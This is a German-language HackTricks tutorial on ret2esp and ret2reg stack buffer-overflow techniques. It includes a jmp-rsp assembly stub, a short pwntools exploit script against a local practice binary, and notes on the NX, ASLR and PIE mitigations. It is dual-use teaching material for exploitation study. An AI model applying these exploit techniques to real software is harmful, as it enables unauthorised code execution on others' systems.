mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
87 lines
5.8 KiB
Markdown
87 lines
5.8 KiB
Markdown
|
# Ret2esp / Ret2reg
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
|
||
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## **Rest2esp**
|
||
|
|
||
|
**Da der ESP (Stack-Zeiger) immer auf den obersten Teil des Stacks zeigt**, beinhaltet diese Technik das Ersetzen des EIP (Instruktionszeigers) durch die Adresse einer **`jmp esp`** oder **`call esp`** Anweisung. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die `ret`-Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.
|
||
|
|
||
|
Wenn **Address Space Layout Randomization (ASLR)** in Windows oder Linux nicht aktiviert ist, ist es möglich, `jmp esp` oder `call esp` Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem [**ASLR**](../common-binary-protections-and-bypasses/aslr/) könnte es jedoch erforderlich sein, innerhalb des anfälligen Programms nach diesen Anweisungen zu suchen (und Sie müssen möglicherweise [**PIE**](../common-binary-protections-and-bypasses/pie/) umgehen).
|
||
|
|
||
|
Darüber hinaus ermöglicht es, den Shellcode **nach der EIP-Korruption** zu platzieren, anstatt in der Mitte des Stacks, sicherzustellen, dass keine `push` oder `pop` Anweisungen, die während des Betriebs der Funktion ausgeführt werden, den Shellcode beeinträchtigen. Diese Beeinträchtigung könnte auftreten, wenn der Shellcode in der Mitte des Stacks der Funktion platziert wäre.
|
||
|
|
||
|
### Platzmangel
|
||
|
|
||
|
Wenn Ihnen der Platz zum Schreiben nach dem Überschreiben von RIP fehlt (vielleicht nur wenige Bytes), schreiben Sie einen anfänglichen `jmp`-Shellcode wie:
|
||
|
```armasm
|
||
|
sub rsp, 0x30
|
||
|
jmp rsp
|
||
|
```
|
||
|
Und schreiben Sie den Shellcode früh im Stapel.
|
||
|
|
||
|
### Beispiel
|
||
|
|
||
|
Sie können ein Beispiel für diese Technik unter [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) finden mit einem endgültigen Exploit wie:
|
||
|
```python
|
||
|
from pwn import *
|
||
|
|
||
|
elf = context.binary = ELF('./vuln')
|
||
|
p = process()
|
||
|
|
||
|
jmp_rsp = next(elf.search(asm('jmp rsp')))
|
||
|
|
||
|
payload = b'A' * 120
|
||
|
payload += p64(jmp_rsp)
|
||
|
payload += asm('''
|
||
|
sub rsp, 10;
|
||
|
jmp rsp;
|
||
|
''')
|
||
|
|
||
|
pause()
|
||
|
p.sendlineafter('RSP!\n', payload)
|
||
|
p.interactive()
|
||
|
```
|
||
|
## Ret2reg
|
||
|
|
||
|
Ebenso können wir, wenn wir wissen, dass eine Funktion die Adresse zurückgibt, an der der Shellcode gespeichert ist, die **`call eax`**- oder **`jmp eax`**-Anweisungen nutzen (bekannt als **ret2eax**-Technik), um eine weitere Methode zum Ausführen unseres Shellcodes zu bieten. Genau wie eax kann **jeder andere Registerwert** mit einer interessanten Adresse verwendet werden (**ret2reg**).
|
||
|
|
||
|
### Beispiel
|
||
|
|
||
|
Ein Beispiel findest du hier: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||
|
|
||
|
## Schutzmaßnahmen
|
||
|
|
||
|
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Wenn der Stack nicht ausführbar ist, hilft dies nicht, da wir den Shellcode im Stack platzieren und zu seiner Ausführung springen müssen.
|
||
|
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Diese können es schwieriger machen, eine Anweisung zum Springen zu esp oder einem anderen Register zu finden.
|
||
|
|
||
|
## Referenzen
|
||
|
|
||
|
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||
|
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
|
||
|
* Wenn du deine **Firma in HackTricks beworben sehen möchtest** oder **HackTricks als PDF herunterladen möchtest**, überprüfe die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
|
* Hol dir das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||
|
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Teile deine Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichst.
|
||
|
|
||
|
</details>
|